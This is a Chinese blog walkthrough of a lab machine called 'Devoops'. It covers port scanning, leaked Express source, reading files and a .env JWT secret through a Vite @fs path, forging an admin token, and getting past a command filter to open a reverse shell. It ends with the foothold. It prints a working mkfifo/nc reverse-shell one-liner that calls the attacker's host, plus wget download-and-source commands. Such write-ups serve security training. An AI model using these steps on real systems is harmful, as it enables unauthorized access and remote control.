Devoops
本文最后更新于38 天前,其中的信息可能已经过时,如有错误请发送邮件到big_fw@foxmail.com

信息收集

┌──(kali㉿kali)-[~/Desktop]
└─$ nmap -sn 192.168.249.0/24
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-04 09:07 EDT
Nmap scan report for 192.168.249.13
Host is up (0.011s latency).
MAC Address: 1E:A3:33:FC:CE:96 (Unknown)
Nmap scan report for 192.168.249.195
Host is up (0.00016s latency).
MAC Address: 08:00:27:64:54:DC (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.249.253
Host is up (0.00018s latency).
MAC Address: 38:D5:7A:E0:D5:C1 (Cloud Network Technology Singapore PTE.)
Nmap scan report for 192.168.249.254
Host is up.
Nmap done: 256 IP addresses (4 hosts up) scanned in 28.02 seconds
                                                                                                                                             
┌──(kali㉿kali)-[~/Desktop]
└─$ nmap -p- 192.168.249.195 
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-04 09:08 EDT
Nmap scan report for 192.168.249.195
Host is up (0.00042s latency).
Not shown: 65534 closed tcp ports (reset)
PORT     STATE SERVICE
3000/tcp open  ppp
MAC Address: 08:00:27:64:54:DC (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 14.67 seconds
                                                                                                                                             
┌──(kali㉿kali)-[~/Desktop]
└─$ nmap -sCV -p3000 192.168.249.195
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-04 09:09 EDT
Nmap scan report for 192.168.249.195
Host is up (0.00040s latency).

PORT     STATE SERVICE VERSION
3000/tcp open  ppp?
| fingerprint-strings: 
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, Help, Kerberos, NCP, RPCCheck, SMBProgNeg, SSLSessionReq, TLSSessionReq, TerminalServerCookie, X11Probe: 
|     HTTP/1.1 400 Bad Request
|   FourOhFourRequest, GetRequest: 
|     HTTP/1.1 403 Forbidden
|     Vary: Origin
|     Content-Type: text/plain
|     Date: Wed, 04 Jun 2025 13:09:47 GMT
|     Connection: close
|     Blocked request. This host (undefined) is not allowed.
|     allow this host, add undefined to `server.allowedHosts` in vite.config.js.
|   HTTPOptions, RTSPRequest: 
|     HTTP/1.1 204 No Content
|     Vary: Origin, Access-Control-Request-Headers
|     Access-Control-Allow-Methods: GET,HEAD,PUT,PATCH,POST,DELETE
|     Content-Length: 0
|     Date: Wed, 04 Jun 2025 13:09:47 GMT
|_    Connection: close

web 3000 node.js

 gobuster dir -u http://192.168.249.195:3000/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --exclude-length 414
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.249.195:3000/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] Exclude Length:          414
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/server               (Status: 200) [Size: 21764]
/sign                 (Status: 200) [Size: 189]
/execute              (Status: 401) [Size: 48]

curl http://192.168.249.195:3000/server
import __vite__cjsImport0_express from "/node_modules/.vite/deps/express.js?v=5d7e4f89"; const express = __vite__cjsImport0_express.__esModule ? __vite__cjsImport0_express.default : __vite__cjsImport0_express;
import __vite__cjsImport1_jsonwebtoken from "/node_modules/.vite/deps/jsonwebtoken.js?v=5d7e4f89"; const jwt = __vite__cjsImport1_jsonwebtoken.__esModule ? __vite__cjsImport1_jsonwebtoken.default : __vite__cjsImport1_jsonwebtoken;
import "/node_modules/.vite/deps/dotenv_config.js?v=5d7e4f89"
import __vite__cjsImport3_child_process from "/@id/__vite-browser-external:child_process"; const exec = __vite__cjsImport3_child_process["exec"];
import __vite__cjsImport4_util from "/@id/__vite-browser-external:util"; const promisify = __vite__cjsImport4_util["promisify"];

const app = express();

const address = 'localhost';
const port = 3001;

const exec_promise = promisify(exec);

const COMMAND_FILTER = process.env.COMMAND_FILTER
    ? process.env.COMMAND_FILTER.split(',')
        .map(cmd => cmd.trim().toLowerCase())
        .filter(cmd => cmd !== '')
    : [];

app.use(express.json());

function is_safe_command(cmd) {
    if (!cmd || typeof cmd !== 'string') {
        return false;
    }
    if (COMMAND_FILTER.length === 0) {
        return false;
    }

    const lower_cmd = cmd.toLowerCase();

    for (const forbidden of COMMAND_FILTER) {
        const regex = new RegExp(`\\b${forbidden.replace(/[.*+?^${}()|[\]\\]/g, '\\$&')}\\b|^${forbidden.replace(/[.*+?^${}()|[\]\\]/g, '\\$&')}$`, 'i');
        if (regex.test(lower_cmd)) {
            return false;
        }
    }

    if (/[;&|]/.test(cmd)) {
        return false;
    }
    if (/[<>]/.test(cmd)) {
        return false;
    }
    if (/[`$()]/.test(cmd)) {
        return false;
    }

    return true;
}

async function execute_command_sync(command) {
    try {
        const { stdout, stderr } = await exec_promise(command);

        if (stderr) {
            return { status: false, data: { stdout, stderr } };
        }
        return { status: true, data: { stdout, stderr } };
    } catch (error) {
        return { status: true, data: error.message };
    }
}

app.get('/', (req, res) => {
    return res.json({
        'status': 'working',
        'data': `listening on http://${address}:${port}`
    })
})

app.get('/api/sign', (req, res) => {
    return res.json({
        'status': 'signed',
        'data': jwt.sign({
            uid: -1,
            role: 'guest',
        }, process.env.JWT_SECRET, { expiresIn: '1800s' }),
    });
});

app.get('/api/execute', async (req, res) => {
    const authorization_header_raw = req.headers['authorization'];
    if (!authorization_header_raw || !authorization_header_raw.startsWith('Bearer ')) {
        return res.status(401).json({
            'status': 'rejected',
            'data': 'permission denied'
        });
    }

    const jwt_raw = authorization_header_raw.split(' ')[1];

    try {
        const payload = jwt.verify(jwt_raw, process.env.JWT_SECRET);
        if (payload.role !== 'admin') {
            return res.status(403).json({
                'status': 'rejected',
                'data': 'permission denied'
            });
        }
    } catch (err) {
        return res.status(401).json({
            'status': 'rejected',
            'data': `permission denied`
        });
    }

    const command = req.query.cmd;

    const is_command_safe = is_safe_command(command);
    if (!is_command_safe) {
        return res.status(401).json({
            'status': 'rejected',
            'data': `this command is unsafe`
        });
    }

    const result = await execute_command_sync(command);

    return res.json({
        'status': result.status === true ? 'executed' : 'failed',
        'data': result.data
    })
});

app.listen(port, address, () => {
    console.log(`Listening on http://${address}:${port}`)
});

命令执行代码,需要认证

app.get('/api/execute', async (req, res) => {
    const authorization_header_raw = req.headers['authorization'];
    if (!authorization_header_raw || !authorization_header_raw.startsWith('Bearer ')) {
        return res.status(401).json({
            'status': 'rejected',
            'data': 'permission denied'
        });
    }

    const jwt_raw = authorization_header_raw.split(' ')[1];

    try {
        const payload = jwt.verify(jwt_raw, process.env.JWT_SECRET);
        if (payload.role !== 'admin') {
            return res.status(403).json({
                'status': 'rejected',
                'data': 'permission denied'
            });
        }
    } catch (err) {
        return res.status(401).json({
            'status': 'rejected',
            'data': `permission denied`
        });
    }

    const command = req.query.cmd;

    const is_command_safe = is_safe_command(command);
    if (!is_command_safe) {
        return res.status(401).json({
            'status': 'rejected',
            'data': `this command is unsafe`
        });
    }

    const result = await execute_command_sync(command);

    return res.json({
        'status': result.status === true ? 'executed' : 'failed',
        'data': result.data
    })
});

立足点

尝试访问 sign 发现是jwt 的token,和代码结合,是code.js 代码 的jwt ,用来进行认证,可以执行命令。

jwt 的内容

app.get('/api/sign', (req, res) => {
    return res.json({
        'status': 'signed',
        'data': jwt.sign({
            uid: -1,
            role: 'guest',
        }, process.env.JWT_SECRET, { expiresIn: '1800s' }),
    });
});

提交 jwt 进行认证

app.get('/api/execute', async (req, res) => {
    const authorization_header_raw = req.headers['authorization'];
    if (!authorization_header_raw || !authorization_header_raw.startsWith('Bearer ')) {
        return res.status(401).json({
            'status': 'rejected',
            'data': 'permission denied'
        });
    }
try {
        const payload = jwt.verify(jwt_raw, process.env.JWT_SECRET);
        if (payload.role !== 'admin') {
            return res.status(403).json({
                'status': 'rejected',
                'data': 'permission denied'
            });
        }
    } catch (err) {
        return res.status(401).json({
            'status': 'rejected',
            'data': `permission denied`
        });
    }

尝试 一下,发现没问题,提交了jwt,当不是admin 返回403

┌──(kali㉿kali)-[~/Desktop]
└─$ curl -I http://192.168.249.195:3000/execute -H "Authorization: Bearer "
HTTP/1.1 401 Unauthorized
Vary: Origin
x-powered-by: Express
content-type: application/json; charset=utf-8
content-length: 48
etag: W/"30-rLvMChMv+pJKO/lWTBS3l8hflxA"
date: Wed, 04 Jun 2025 14:16:33 GMT
connection: close                                                                                                                                          
                                                                                                                                                                                                                                                                 
                                                                                                                                             
┌──(kali㉿kali)-[~/Desktop]
└─$ curl -s  http://192.168.249.195:3000/sign |jq .data
"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOi0xLCJyb2xlIjoiZ3Vlc3QiLCJpYXQiOjE3NDkwNDY2MjgsImV4cCI6MTc0OTA0ODQyOH0.8ZnjQ7wEceXhwvoDn8RCCDiAP6gI8vCHogYDk1lhWBQ"                                                                                                                        
                                                                                                                                             
┌──(kali㉿kali)-[~/Desktop]
└─$ curl -s  http://192.168.249.195:3000/sign |jq .data | xargs -I {} curl -I http://192.168.249.195:3000/execute -H "Authorization: Bearer {}" 

HTTP/1.1 403 Forbidden
Vary: Origin
x-powered-by: Express
content-type: application/json; charset=utf-8
content-length: 48
etag: W/"30-rLvMChMv+pJKO/lWTBS3l8hflxA"
date: Wed, 04 Jun 2025 14:17:50 GMT
connection: close

尝试使用hashcat 爆破secret,没出来

hashcat -m 16500 ~/Desktop/jwt.txt -a 0 /usr/share/wordlists/rockyou.txt --force

vite ,后面发现了vite ,有文件读取漏洞。

http://192.168.249.195:3000/@fs/etc/passwd?import&raw??
export default "root:x:0:0:root:/root:/bin/sh\nbin:x:1:1:bin:/bin:/sbin/nologin\ndaemon:x:2:2:daemon:/sbin:/sbin/nologin\nlp:x:4:7:lp:/var/spool/lpd:/sbin/nologin\nsync:x:5:0:sync:/sbin:/bin/sync\nshutdown:x:6:0:shutdown:/sbin:/sbin/shutdown\nhalt:x:7:0:halt:/sbin:/sbin/halt\nmail:x:8:12:mail:/var/mail:/sbin/nologin\nnews:x:9:13:news:/usr/lib/news:/sbin/nologin\nuucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin\ncron:x:16:16:cron:/var/spool/cron:/sbin/nologin\nftp:x:21:21::/var/lib/ftp:/sbin/nologin\nsshd:x:22:22:sshd:/dev/null:/sbin/nologin\ngames:x:35:35:games:/usr/games:/sbin/nologin\nntp:x:123:123:NTP:/var/empty:/sbin/nologin\nguest:x:405:100:guest:/dev/null:/sbin/nologin\nnobody:x:65534:65534:nobody:/:/sbin/nologin\nklogd:x:100:101:klogd:/dev/null:/sbin/nologin\nchrony:x:101:102:chrony:/var/log/chrony:/sbin/nologin\nrunner:x:1000:1000:::/bin/sh\nhana:x:1001:100::/home/hana:/bin/sh\ngitea:x:102:82:gitea:/var/lib/gitea:/bin/sh\n"

http://192.168.249.195:3000/@fs/home/hana/user.txt?import&raw??
EACCES: permission denied, open '/home/hana/user.txt'

    at async open (node:internal/fs/promises:638:25)
    at async Object.readFile (node:internal/fs/promises:1242:14)
    at async LoadPluginContext.load (file:///opt/node/node_modules/.pnpm/vite@6.2.0/node_modules/vite/dist/node/chunks/dep-ByPKlqZ5.js:13528:11)
    at async EnvironmentPluginContainer.load (file:///opt/node/node_modules/.pnpm/vite@6.2.0/node_modules/vite/dist/node/chunks/dep-ByPKlqZ5.js:47602:22)
    at async loadAndTransform (file:///opt/node/node_modules/.pnpm/vite@6.2.0/node_modules/vite/dist/node/chunks/dep-ByPKlqZ5.js:41252:22

发现路径  /opt/node/ 尝试读取配置文件
http://192.168.249.195:3000/@fs/opt/node/.env?import&raw??

export default "JWT_SECRET='2942szKG7Ev83aDviugAa6rFpKixZzZz'\nCOMMAND_FILTER='nc,python,python3,py,py3,bash,sh,ash,|,&,<,>,ls,cat,pwd,head,tail,grep,xxd'\n"

secret 2942szKG7Ev83aDviugAa6rFpKixZzZz

获取反弹shell “COMMAND_FILTER=’nc,python,python3,py,py3,bash,sh,ash,|,&,<,>,ls,cat,pwd,head,tail,grep,xxd’\n”” 这些命令会过滤

 echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOjEsInJvbGUiOiJhZG1pbiIsImlhdCI6MTc0OTA0Nzk4OSwiZXhwIjoxNzQ5MDQ5Nzg5fQ.sWGyZ_xBFSU8OvHlg4EIeH6laioJQyhbxO0ZEDjrWug"| xargs -I {} curl  http://192.168.249.195:3000/execute?cmd=id -H "Authorization: Bearer {}"

{"status":"executed","data":{"stdout":"uid=1000(runner) gid=1000(runner) groups=1000(runner)\n","stderr":""}} 

上传一个文件执行反弹

 echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOjEsInJvbGUiOiJhZG1pbiIsImlhdCI6MTc0OTA0Nzk4OSwiZXhwIjoxNzQ5MDQ5Nzg5fQ.sWGyZ_xBFSU8OvHlg4EIeH6laioJQyhbxO0ZEDjrWug"| xargs -I {} curl  http://192.168.249.195:3000/execute?cmd=wget+-h -H "Authorization: Bearer {}"

{"status":"executed","data":"Command failed: wget -h\nwget: unrecognized option: h\nBusyBox v1.37.0 (2025-01-17 18:12:01 UTC) multi-call binary.\n\nUsage: wget [-cqS] [--spider] [-O FILE] [-o LOGFILE] [--header STR]\n\t[--post-data STR | --post-file FILE] [-Y on/off]\n\t[-P DIR] [-U AGENT] [-T SEC] URL...\n\nRetrieve files via HTTP or FTP\n\n\t--spider\tOnly check URL existence: $? is 0 if exists\n\t--header STR\tAdd STR (of form 'header: value') to headers\n\t--post-data STR\tSend STR using POST method\n\t--post-file FILE\tSend FILE using POST method\n\t-c\t\tContinue retrieval of aborted transfer\n\t-q\t\tQuiet\n\t-P DIR\t\tSave to DIR (default .)\n\t-S    \t\tShow server response\n\t-T SEC\t\tNetwork read timeout is SEC seconds\n\t-O FILE\t\tSave to FILE ('-' for stdout)\n\t-o LOGFILE\tLog messages to FILE\n\t-U STR\t\tUse STR for User-Agent header\n\t-Y on/off\tUse proxy\n"} 

 cat a                                              
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.70.254 8888 >/tmp/f
                                                                                                                                             
┌──(kali㉿kali)-[~/Desktop]
└─$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

┌──(kali㉿kali)-[~/Desktop]
└─$ echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOjEsInJvbGUiOiJhZG1pbiIsImlhdCI6MTc0OTA0Nzk4OSwiZXhwIjoxNzQ5MDQ5Nzg5fQ.sWGyZ_xBFSU8OvHlg4EIeH6laioJQyhbxO0ZEDjrWug"| xargs -I {} curl  http://192.168.249.195:3000/execute?cmd=wget+http://192.168.249.1:8000/a+-O+/tmp/a -H "Authorization: Bearer {}"

{"status":"failed","data":{"stdout":"","stderr":"Connecting to 192.168.249.1:8000 (192.168.249.1:8000)\nsaving to '/tmp/a'\na                    100% |********************************|    81  0:00:00 ETA\n'/tmp/a' saved\n"}} 
                                                                                                                                            
┌──(kali㉿kali)-[~/Desktop]
└─$ echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOjEsInJvbGUiOiJhZG1pbiIsImlhdCI6MTc0OTA0Nzk4OSwiZXhwIjoxNzQ5MDQ5Nzg5fQ.sWGyZ_xBFSU8OvHlg4EIeH6laioJQyhbxO0ZEDjrWug"| xargs -I {} curl  http://192.168.249.195:3000/execute?cmd=source+/tmp/a -H "Authorization: Bearer {}"


 rlwrap nc -lvnp 8888
listening on [any] 8888 ...
connect to [192.168.249.1] from (UNKNOWN) [192.168.249.195] 39595
/bin/sh: can't access tty; job control turned off
/opt/node $ 

文末附加内容
暂无评论

发送评论 编辑评论

|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇